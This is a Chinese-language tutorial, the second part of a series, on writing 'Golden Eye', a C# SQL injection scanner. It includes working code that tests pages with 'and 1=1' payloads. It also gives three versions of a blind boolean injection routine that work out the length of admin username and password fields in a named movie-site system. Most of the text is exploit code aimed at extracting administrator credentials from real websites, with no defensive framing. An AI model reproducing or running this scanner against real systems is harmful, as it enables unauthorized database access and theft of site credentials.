黄金眼——SQL注入扫描器的制作(2)
( 作者:mikespook | 发布日期:2004-5-16 | 浏览次数:51 )
关键字:黄金眼,SQL注入,扫描器,C# |
程序的编写:终于可以开始我最喜欢的部分了(^_*)。首先我要说一下我如何选择编程工具。我的很多工具的编写都是基于dotNET平台,用C#编写的。我觉得这种轻量级的工具应该用快速、方便的方法来编写。当然,使用C/C++甚至汇编来编写。你的工具执行效率会非常高。不过是不是太浪费了点呢? 这里我要说点题外话。有朋友在我站上留言说该怎么学编程。我的观点,语言只是一个载体,一种表达方式。我想大家一定有这样的体会:在描述一个事件或是一个物体时。有的时候用语言描述比较准确、方便;有的时候用数字描述更好。就是这个道理。编程,其实你用任何语言都可以。但是应该选择最方便,最快速的。我个人很反对,因为喜欢汇编就排斥C#、JAVA这样的中间件语言。因为喜欢C#或JAVA就排斥C/C++。这都是极端错误的!!! 好了,废话了一大堆,多骗了很多稿费。我只是希望大家理解,因为我今天又要用C#来干活了。嘿嘿…… 老办法,先给个界面让大家有感性认识。今天我们就要设计这么一个扫描器(图1):
在界面上放置四个文本框:txtPage、txtName、txtPass、txtLog。分别作为目标页面输入框、管理员名显示框、密码显示框和日志显示框。再放置两个按钮:btnTest、btnOK。作为测试按钮和扫描按钮。然后再放一些标签,做美化和说明作用。界面实在是太简单了。 下面就可以开始编码了。 为了访问我们的目标页面,提交精心准备的SQL注入代码。我们必须要访问网络、使用HTTP协议:连接、发送、接收、断开……等等,我们刚才好象说的是使用C/C++编写的过程。是的,在C#中根本不用这么麻烦。在dotNet类库中已经为我们准备了整套的URL操作类。 在名字空间System.Net下有两个类:HttpWebRequest、HttpWebResponse。分别负责请求(Request)和应答(Response)。具体的使用,请看下面的代码: public bool GetPage(string url) { try { // 值临时变量 r。 bool r = false; // 对指定的 URL 创建 HttpWebRequest 对象。 HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url); // 发送 HttpWebRequest 并等待回应。 HttpWebResponse myHttpWebResponse = (HttpWebResponse)myHttpWebRequest.GetResponse(); // 检测 HttpWebRequest 当为 HttpStatusCode.OK 时,设置临时变量为 true。 if (myHttpWebResponse.StatusCode == HttpStatusCode.OK) r = true; // 释放 HttpWebRequest 使用的资源。 myHttpWebResponse.Close(); // 函数返回临时变量 r。 return r; } catch(WebException e) { //捕捉到 WebException 时函数返回 false。 return false; } catch(Exception e) { //捕捉到 Exception 时函数返回 false。 return false; } } 这个函数使用参数url传入目标页面的地址。 “HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url);”这句建立一个HttpWebRequest对象和目标页面相连接。 “HttpWebResponse myHttpWebResponse = (HttpWebResponse)myHttpWebRequest.GetResponse();”将发送一个请求,并建立HttpWebResponse对象接收应答。 应答的代码将存储于“myHttpWebResponse.StatusCode”中。这里的应答代码就是服务器返回的代码。比如200表示访问成功、404表示页面不存在、500表示服务器内部错误(恩,好象前面SQL注入的时候,注入不成功都是显示500错误么。没错,看下面!)…… 枚举类型HttpStatusCode中的枚举值就是上面说的服务器返回代码。比如“HttpStatusCode.OK”就代表返回码200;“HttpStatusCode. InternalServerError”就代表返回码500。将这个应答代码“myHttpWebResponse.StatusCode”与枚举值“HttpStatusCode.OK”进行比较。如果相等,那么说明页面访问成功,函数返回true。如果不相等,函数返回false。中间我还用try…catch…捕获任何可能的错误。出现任何错误都返回false。 将这个函数加入主窗体的类中,同时要记得主窗体类要记得使用名字空间System.Net。这样最核心的部分就做好了。下面我们就来看看这个函数怎么用。 在按钮btnTest的Click事件中添加下面的代码: private void btnTest_Click(object sender, System.EventArgs e) { if(this.GetPage(txtPage.Text + "%20and%201=1")) txtLog.Text = "该页面可能存在 SQL 注入漏洞,可尝试扫描!"; else txtLog.Text = "该页面不存在 SQL 注入漏洞,无法扫描! "; } “txtPage.Text + "%20and%201=1"”实际上就是合成SQL注入语句,要将目标页面的地址填写在txtPage文本框中。还记得前面说到的“and 1=1”么?这里只不过用UNICODE对空格进行了编码。使用函数GetPage()判断页面是否可以访问。如果返回true,那么页面可以访问。说明注入测试成功,否则说明失败。 我们自己写的GetPage()函数会用了以后,再来看看如何真正实现扫描吧。这里是最难的地方。但是思考过程会很有意思。 在讲解SQL注入漏洞的时候我说了,可以使用“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=10)”的方法判断用户名长度是不是等于10。在“金梅”系统中,管理员名最大长度为20。那么我们就可以: “movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=1)” “movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=2)” “movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=3)” …… 使用这样的方法来测试管理员名到底为多长。当然,也可以用同样的方法测试密码的长度。不过“金梅”系统设置密码最大长度为50。编写下面的函数: private int GetFieldLen(string table, string field, int l, int h) { for(int i = l; i <= h; i++) if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")")) return i; return 0; } 这个函数通用性很强。共有四个参数:table是我们要扫描的表名,在“金梅”系统中就是表password。Field是我们要测试长度的字段名,比如“金梅”系统中的name和pwd两个字段。l和h两个参数代表扫描的范围。也就是测试的最小长度和最大长度。我们可以用这个函数来扫描管理员名,比如:GetFieldLen(“password”, “name”, 1, 20)。这时函数返回的是管理员名长度。如果扫描密码长度可以:GetFieldLen(“password”, “pwd”, 1, 50)。 大家看到的这个函数是“黄金眼”1.0中的函数,可以说非常慢。因为为了比较出字段值长,我们必须逐一的比较。比如很极端的情况,对方设置了一个20位长的管理员名、50位长的密码。那么比较的次数就是20次和50次,才能得到我们需要的长度。这种算法被称为“顺序查找”。算法的优点就是简单。大家可以看到一共用了4行代码,我们就完成了查找。非常遗憾的是虽然编写起来虽然非常简单,但是执行效率低下!在“黄金眼”1.1中我使用“索引查找”来提高了效率: private int GetFieldLen(string table, string field, int l, int h) { int index1 = (l + h) / 3; int index2 = (l + h) * 2 / 3; if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + index1.ToString() + ")")) for(int i = l; i < index1; i++) if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")")) return i; if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + index2.ToString() + ")")) for(int i = index1; i < index2; i++) if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")")) return i; for(int i = index2; i <= h; i++) if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")")) return i; return 0; } 是不是看得有点晕了呢?“索引查找”的代码要复杂得多!其实我给大家讲一下什么是“索引查找”上面的代码就很清晰了。大家先看下面的序列: 1、2、3、4、5、6、7、8、9、10、11、12、13、14、15、16、17、18、19、20 这就是我们要查找的序列。在这个查找过程的第一句和第二句:“int index1 = (l + h) / 3;”、“int index2 = (l + h) * 2 / 3;”,我建立的实际上是两个索引。比如这20个元素的查找中,第一个索引为7,第二个索引为14。大家应该注意到了,在每个顺序查找语句的前面都有一个条件语句。这个条件语句就是判断索引。过程大致如下: 判断字段长度是否小于7,如果小于,采用顺序查找查找1-6。 否则 判断字段长度是否小于14,如果小于,采用顺序查找查找7-13。 否则 采用顺序查找查找14-20。 这样利用索引将顺序查找的范围缩小了2/3。查找范围小了,比较次数减少。速度当然就提高了很多。但这是最快的方法么?先看看下面的代码: private int GetFieldLen(string table, string field, int l, int h) { int nLen = 0; int low = l; int hig = h; int mid; int tmp = h - l; while((low <= hig)&&(tmp!=0)) { mid = (low + hig)/2; if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + mid.ToString() + ")")) hig = mid - 1; else if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")>" + mid.ToString() + ")")) low = mid + 1; else if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + mid.ToString() + ")")) { nLen = mid; break; } --tmp; } return nLen; } 很复杂,每次循环都使用“mid = (low + hig)/2;”计算新值。这就是“折半查找”。我使用自然语言描述一下“折半查找”的方法: 循环:当 low < high 或 查找次数达到最大次数 mid = (low + high) / 2 //计算low和high的中间值 判断字段长度是否小于中间值mid,如果小于,令high = mid – 1 否则 判断字段长度是否大于中间值mid,如果大于,令low = mid + 1 否则 判断字段长度是否等于中间值mid,如果等于,返回字段长度。 循环结束; 算法有点难理解么?其实你只要设置一组有序数。然后随机选取一个数,套用上面的算法查找,一步一步做上几次就明白了。Step by Step! |